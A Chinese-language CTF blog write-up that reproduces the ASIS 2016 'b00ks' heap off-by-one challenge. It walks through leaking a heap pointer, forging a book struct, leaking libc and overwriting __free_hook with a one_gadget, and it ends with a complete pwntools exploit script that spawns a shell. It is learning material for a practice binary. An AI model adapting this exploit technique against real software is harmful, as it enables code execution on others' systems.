Whitea's Blog.

offbyone-2019Asisctf_books

字数统计: 1.2k阅读时长: 5 min
2019/11/18 Share

根据先知社区的一位大佬复现,地址:https://xz.aliyun.com/t/6087

这位大佬还有unlink的操作,我之后了解unlink的时候,会用这道题再来研究一下。

最近对heap稍有一点感觉,准备复现一下题目,一下上手offbyone,感觉现在自己还是太菜了,还有很多疑问,准备留下这篇博客记录一下。

到最后还是找到了大佬,最后自己也差不多了解了漏洞知识,他的博客地址就在我书签那,ID:ERROR404

offbyone的漏洞位置:

mark

mark

书本结构体:

1
2
3
4
5
6
struct book{
int id;
char *name;
char *description;
int size;
}

解题思路:(此题开了pie,我是多次调试的,地址可能些不同,请以本人具体调试的为准)

1.构造两个结构体之后,堆的情况:

1
2
create(48,"1a",240,"1b") #0
create(0x21000,"2a",0x21000,"2b") #1

mark

这边认识一下结构体,直接去看0x20020那边的参数,我这边输入0x1f个’a’先看看,打印结构体就不会泄露地址先。

mark

因为有标白的\x00存在,所以地址就打印不出来:

mark

将Author的地址直接填满(大小为32,具体在ida里有),就能泄露我们上上图像泄露的地址了:

mark

2.伪造结构体

1
2
payload = "a"*0xa0 + p64(1) + p64(first_heap_addr+0x38) + p64(first_heap_addr + 0x40) + p64(0xffff)
edit(1,payload)

目的是为了伪造一个结构体,让结构体的指针指向libc的残留地址,现在看一下堆的情况:

mark

具体看一下堆的情况,看一下源结构体后面那俩地址到底指向哪了:

mark

3.用offbyone的漏洞:

1
author_name("author".rjust(0x20,"a"))

将地址最低位覆盖成\x00,这样我们我们的那个堆块1的指针就指向了我们自己伪造的结构体了,这个结构体description和name我们指向了book2结构体,这样我们通过编辑堆块1的description就能改掉book2的结构体的description指针和name指针,我们能编辑book2的description,相当于任意写了。(引用地址:https://xz.aliyun.com/t/6087)

mark

这样,打印堆块1,我们就可以泄露三号堆块里面的libc残留地址,用来计算libc_base,

4.打印一下堆块1的内容:

mark

如果没有用offbyone那个漏洞,我们再来打印一下堆块1的内容:

mark

我现在就是疑惑offbyone那个漏洞,多出来的0到底去哪了,文章写的内容(引用地址:https://xz.aliyun.com/t/6087)

将地址最低位覆盖成\x00,这样我们我们的那个堆块1的指针就指向了我们自己伪造的结构体了,这个结构体description和name我们指向了book2结构体,这样我们通过编辑堆块1的description就能改掉book2的结构体的description指针和name指针,我们能编辑book2的description,相当于任意写了。

后来发现是去修改book1结构体里面的*name的最后两位地址,变成00之后直接指向我们伪造的结构体里面,去泄露我们需要的libc偏移地址。

5.获取shell

任意地址写堆块一,让堆块一指向freehook的地址,然后用往堆块二(相当于往freehook)写入onegadget去获取shell
1
2
3
4
5
6
one_offset = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one_offset[1]

edit(1,p64(libc_base+libc.sym['__free_hook']))
edit(2,p64(one_gadget))
delete(2)

这里贴几张图,大家理解一下,(有不明白的可以留言):

mark

mark

题目地址:https://github.com/Jaytain/ctf-challenges/tree/master/pwn/heap/off_by_one/Asis_2016_b00ks

最后exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'

# file_name=ELF("./")
libc=ELF("./libc.so.6")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./b00ks")
def cmd(choice):
sh.recvuntil(">")
sh.sendline(str(choice))

def create(book_size, book_name, desc_size, desc):
cmd(1)
sh.sendlineafter("Enter book name size: ", str(book_size))
sh.recvuntil("Enter book name (Max 32 chars): ")
if len(book_name) == book_size:#deal with overflow
sh.send(book_name)
else:
sh.sendline(book_name)
sh.recvuntil("Enter book description size: ")
sh.sendline(str(desc_size))
sh.recvuntil("Enter book description: ")
if len(desc) == desc_size:
sh.send(desc)
else:
sh.sendline(desc)

def delete(idx):
cmd(2)
sh.sendlineafter(": ", str(idx))

def edit(idx, desc):
cmd(3)
sh.sendlineafter(": ", str(idx))
sh.sendlineafter(": ", str(desc))

def printbook(id):
sh.readuntil("> ")
sh.sendline("4")
sh.readuntil(": ")
for i in range(id):
book_id = int(sh.readline()[:-1])
sh.readuntil(": ")
book_name = sh.readline()[:-1]
sh.readuntil(": ")
book_des = sh.readline()[:-1]
sh.readuntil(": ")
book_author = sh.readline()[:-1]
return book_id, book_name, book_des, book_author

def author_name(name):
cmd(5)
sh.sendlineafter(": ", str(name))

sh.sendlineafter("name:","author".rjust(0x20,"a"))
create(48,"1a",240,"1b") #0
create(0x21000,"2a",0x21000,"2b") #1
books_id_1,book_name,book_des,book_author = printbook(1)
first_heap_addr = u64(book_author[32:32+6].ljust(8,"\x00"))
print "first_heap=>" + hex(first_heap_addr)
payload = "a"*0xa0 + p64(1) + p64(first_heap_addr+0x38) + p64(first_heap_addr + 0x40) + p64(0xffff)
edit(1,payload)
author_name("author".rjust(0x20,"a"))
books_id_1,book_name,book_des,book_author = printbook(1)
book2_name = u64(book_name.ljust(8,"\x00"))
book2_des = u64(book_des.ljust(8,"\x00"))
sh.success("book2_name :" + hex(book2_name))
sh.success("book2_des : " + hex(book2_des))
libc_base = book2_des - 0x590010
one_offset = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one_offset[1]

edit(1,p64(libc_base+libc.sym['__free_hook']))
edit(2,p64(one_gadget))
delete(2)
#gdb.attach(sh)
sh.interactive()
print(sh.recv())
CATALOG
  1. 1. 1.构造两个结构体之后,堆的情况:
  2. 2. 2.伪造结构体
  3. 3. 3.用offbyone的漏洞:
  4. 4. 4.打印一下堆块1的内容:
  5. 5. 5.获取shell
    1. 5.0.0.1. 任意地址写堆块一,让堆块一指向freehook的地址,然后用往堆块二(相当于往freehook)写入onegadget去获取shell